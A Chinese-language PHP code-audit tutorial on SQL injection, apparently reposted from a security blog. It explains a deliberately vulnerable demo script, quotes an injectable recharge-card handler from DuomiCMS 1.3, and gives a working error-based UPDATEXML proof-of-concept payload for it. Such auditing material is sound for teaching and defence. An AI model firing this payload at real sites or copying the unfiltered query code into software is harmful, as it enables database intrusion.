代码审计

PHP代码审计SQL注入篇

字号+ 作者:MAX丶 来源:i春秋社区 2016-11-25 10:56 我要评论( )

所谓SQL注入,就是通过把SQL命令插入到Web 表单 提 交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序......

所谓SQL注入,就是通过把SQL命令插入到Web表单提 交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据 库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 [1]比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到攻击.】

通俗点讲就是没有严谨的过滤导致的】

下面我们来讲解一下今天的东西代码如下。【还有就是数据库文件在我上一篇xss储存那一篇文章发布过了我就不在复制过来了,下面是我们的注入文件。】


<?php
mysql_connect('localhost','root','root');
mysql_select_db('test');
mysql_query("set names gbk");
echo $id=$_GET["id"];
echo "<br>";
//echo $sql="select * from book where id='$
$sql="select * from book where id=$id";
if ($row=mysql_query($sql))
{       
$rows=mysql_fetch_array($row);
var_dump($rows);
}
?>
   




首先我们看一下代码;

[PHP] 纯文本查看 复制代码
?
1
2
3
mysql_connect('localhost','root','root');
mysql_select_db('test');
mysql_query("set names gbk");

这是数据库配配置。
[PHP] 纯文本查看 复制代码
?
1
echo $id=$_GET["id"];

大家可以看见这是直接输出这个GET的值。
[PHP] 纯文本查看 复制代码
?
1
$sql="select * from book where id=$id";

然后这里直接进行SQL语句的
[PHP] 纯文本查看 复制代码
?
1
($row=mysql_query($sql))

这里直接进行查询SQL语句
[PHP] 纯文本查看 复制代码
?
1
$rows=mysql_fetch_array($row)

利用这一串代码直接取值
[PHP] 纯文本查看 复制代码
?
1
var_dump($rows)

然后进行打印输出没有任何的过滤所以利用简单的SQL注入语句就可以直接查询相关需要的信息。】


现在我给大家找个实例演示【并不是本人自己挖的】多米CMS最新版1.3版本注入.
漏洞文件member/mypay.php(14-40行)

if(empty($_SESSION['duomi_user_id'])){
    showMsg("请先登录","login.php");
    exit();
}
elseif($dm=='mypay'){
    $key=$_POST['cardkey'];
    if($key==""){showMsg("请输入充值卡号","-1");exit;}
    $pwd=$_POST['cardpwd'];
    if($pwd==""){showMsg("请输入充值卡密码","-1");exit;}
    $sqlt="SELECT * FROM duomi_card where ckey='$key'";
    $sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";
       $row1 = $dsql->GetOne($sqlt);
    if(!is_array($row1) OR $row1['status']<>0){
        showMsg("充值卡信息有误","-1");exit;
    }else{
        $uname=$_SESSION['duomi_user_name'];
        $points=$row1['climit'];
        $dsql->executeNoneQuery("UPDATE duomi_card SET    usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");
        $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");
        $dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");
        showMsg("恭喜!充值成功!","mypay.php");exit;
    }
}
else
{


 

大家可以清楚看见此处的”cardpwd”变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行
http://localhost/member/mypay.php?dm=mypay
POST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/hack/Code/288.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • 微擎科技最新版某处无需登录sql注入

    微擎科技最新版某处无需登录sql注入

    2016-12-27 09:58

  • 微擎普通用户权限SQL注入漏洞(2)

    微擎普通用户权限SQL注入漏洞(2)

    2016-12-27 09:57

  • 微擎普通用户权限SQL注入漏洞

    微擎普通用户权限SQL注入漏洞

    2016-12-27 09:56

  • opensns最新版前台无限制注入(无需登录无视GPC)

    opensns最新版前台无限制注入(无需登录无视GPC)

    2016-12-27 09:53

网友点评
暂时未开启评论功能~